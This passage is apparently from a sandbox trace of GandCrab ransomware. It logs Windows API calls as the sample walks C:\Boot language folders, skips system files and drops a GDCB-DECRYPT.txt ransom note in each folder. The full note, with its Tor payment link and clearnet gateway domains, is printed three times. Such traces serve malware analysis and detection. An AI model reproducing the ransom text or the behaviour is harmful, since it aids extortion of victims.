returned="C:\\Boot\\sv-SE" [0052.922] lstrcatW (in: lpString1="C:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="C:\\Boot\\sv-SE\\") returned="C:\\Boot\\sv-SE\\" [0052.922] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.923] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.923] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.923] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0052.923] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="C:\\Boot\\sv-SE\\*") returned="C:\\Boot\\sv-SE\\*" [0052.923] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.923] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.923] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.923] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.923] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.923] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.923] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.923] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.923] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0052.923] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0052.923] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.923] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.923] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.923] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.923] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned="C:\\Boot\\sv-SE\\memtest.exe.mui" [0052.923] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0052.923] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.923] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.923] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.923] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.924] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sv-SE\\\\GDCB-DECRYPT.txt") returned 31 [0052.924] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sv-se\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.924] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.924] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.925] CloseHandle (hObject=0x4e0) returned 1 [0052.925] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.925] lstrlenW (lpString="C:\\Boot\\sv-SE\\") returned 14 [0052.925] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="C:\\Boot\\sv-SE\\*") returned="C:\\Boot\\sv-SE\\*" [0052.925] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.925] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.925] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.925] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.925] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.925] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.925] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.925] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.925] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="C:\\Boot\\sv-SE\\bootmgr.exe.mui" [0052.925] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.926] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0052.926] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0052.926] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.926] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.926] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.926] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.926] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt" [0052.926] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.927] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0052.927] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0052.927] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0052.927] lstrlenW (lpString="C:\\Boot\\sv-SE\\GDCB-DECRYPT.txt") returned 30 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.927] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.927] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.927] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.927] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.927] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.927] lstrcatW (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned="C:\\Boot\\sv-SE\\memtest.exe.mui" [0052.927] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.927] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0052.927] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0052.927] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.928] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.928] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.928] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.928] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0052.928] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0052.928] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="tr-TR" | out: lpString1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0052.928] lstrcatW (in: lpString1="C:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="C:\\Boot\\tr-TR\\") returned="C:\\Boot\\tr-TR\\" [0052.928] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.928] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.928] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.928] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.928] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.928] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.929] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0052.929] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="C:\\Boot\\tr-TR\\*") returned="C:\\Boot\\tr-TR\\*" [0052.929] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588e60 [0052.930] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.930] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.930] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.930] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.930] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.930] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.930] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.930] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0052.930] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0052.930] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.930] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.930] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.930] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.930] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned="C:\\Boot\\tr-TR\\memtest.exe.mui" [0052.930] lstrlenW (lpString="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0052.930] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.930] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.930] FindClose (in: hFindFile=0x588e60 | out: hFindFile=0x588e60) returned 1 [0052.930] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.931] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\tr-TR\\\\GDCB-DECRYPT.txt") returned 31 [0052.931] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\tr-tr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.931] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.931] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.932] CloseHandle (hObject=0x4e0) returned 1 [0052.932] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.932] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0052.932] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="C:\\Boot\\tr-TR\\*") returned="C:\\Boot\\tr-TR\\*" [0052.932] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.932] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.932] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.932] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.932] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.932] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.932] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.932] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0052.932] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.933] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0052.933] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0052.933] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.933] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.933] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.933] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.933] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt" [0052.933] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.934] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0052.934] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0052.934] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0052.934] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.934] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.934] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.934] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.934] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.934] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned="C:\\Boot\\tr-TR\\memtest.exe.mui" [0052.934] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.935] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0052.935] lstrlenW (lpString="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0052.935] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.935] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.935] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.935] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.935] lstrcmpW (lpString1="uk-UA", lpString2=".") returned 1 [0052.935] lstrcmpW (lpString1="uk-UA", lpString2="..") returned 1 [0052.935] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="uk-UA" | out: lpString1="C:\\Boot\\uk-UA") returned="C:\\Boot\\uk-UA" [0052.935] lstrcatW (in: lpString1="C:\\Boot\\uk-UA", lpString2="\\" | out: lpString1="C:\\Boot\\uk-UA\\") returned="C:\\Boot\\uk-UA\\" [0052.935] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.935] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.935] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.936] lstrlenW (lpString="C:\\Boot\\uk-UA\\") returned 14 [0052.936] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="*" | out: lpString1="C:\\Boot\\uk-UA\\*") returned="C:\\Boot\\uk-UA\\*" [0052.936] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.937] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.937] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.937] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.937] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.937] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.937] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.937] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.937] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned="C:\\Boot\\uk-UA\\bootmgr.exe.mui" [0052.937] lstrlenW (lpString="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0052.937] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.937] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.937] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.937] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.938] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\uk-UA\\\\GDCB-DECRYPT.txt") returned 31 [0052.938] CreateFileW (lpFileName="C:\\Boot\\uk-UA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\uk-ua\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.938] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.938] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.938] CloseHandle (hObject=0x4e0) returned 1 [0052.939] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.939] lstrlenW (lpString="C:\\Boot\\uk-UA\\") returned 14 [0052.939] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="*" | out: lpString1="C:\\Boot\\uk-UA\\*") returned="C:\\Boot\\uk-UA\\*" [0052.939] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.939] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.939] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.939] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.939] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.939] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned="C:\\Boot\\uk-UA\\bootmgr.exe.mui" [0052.939] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.939] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0052.939] lstrlenW (lpString="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0052.940] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) 